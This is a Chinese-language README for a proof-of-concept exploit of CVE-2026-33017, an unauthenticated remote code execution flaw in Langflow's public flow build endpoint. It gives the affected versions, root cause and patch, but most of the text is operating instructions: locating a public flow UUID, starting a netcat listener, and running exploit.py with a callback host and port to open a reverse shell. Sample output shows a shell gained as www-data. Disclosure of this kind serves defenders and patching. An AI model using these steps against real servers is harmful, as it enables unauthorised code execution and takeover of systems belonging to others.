作者: dynamo2k1
严重性: 严重
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2026-33017 是 Langflow(一个用于可视化构建 LLM 应用和 AI 工作流的开源平台)中的一个严重未认证远程代码执行漏洞。
存在漏洞的端点 build_public_tmp 无需认证即可接受请求体中由攻击者提供的 data 字段。这使攻击者能够注入包含恶意 Python 自定义组件的完全自定义流程定义,其代码会在构建过程中于服务器上执行。
无需任何凭据,仅需要一个有效的公共流程 UUID。
| 状态 | 版本 |
|---|---|
| 受影响 | Langflow < 1.9.0 |
| 已修复 | Langflow 1.9.0+ |
POST /api/v1/build_public_tmp/{flow_id}/flow
该端点设计用于在无需认证的情况下构建公共(共享)流程。在受影响版本中,它同样接受请求体中由攻击者控制的 data 字段,并直接将其传入服务器端构建逻辑——包括自定义组件中嵌入的任何 Python 代码。
pip install requests urllib3
浏览目标 Langflow 实例,寻找共享/公共流程。UUID 会出现在 URL 中:
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is the flow-id
nc -lvnp 9001
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
或者使用内置的交互式监听器(无需单独的 nc):
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
根本原因: build_public_tmp 信任请求体中的 data 字段,而不是仅使用服务器存储的流程定义。
修复措施: 在 Langflow 1.9.0 中,data 参数已从 build_public_tmp 中移除。外部流程定义无法再通过此端点注入。
补丁提交: 73b6612
本 PoC 仅用于教育和授权安全研究目的。请仅对你拥有或已获得明确书面测试许可的系统使用。
| 参数 | 描述 |
|---|
--url | 目标 Langflow 基础 URL |
--flow-id | 公共流程 UUID |
--lhost | 用于反向 Shell 回连的 IP |
--lport | 监听端口 |
--listen | 使用内置 Shell 处理器而非外部 nc |
--timeout | HTTP 请求超时时间(秒),默认值:30 |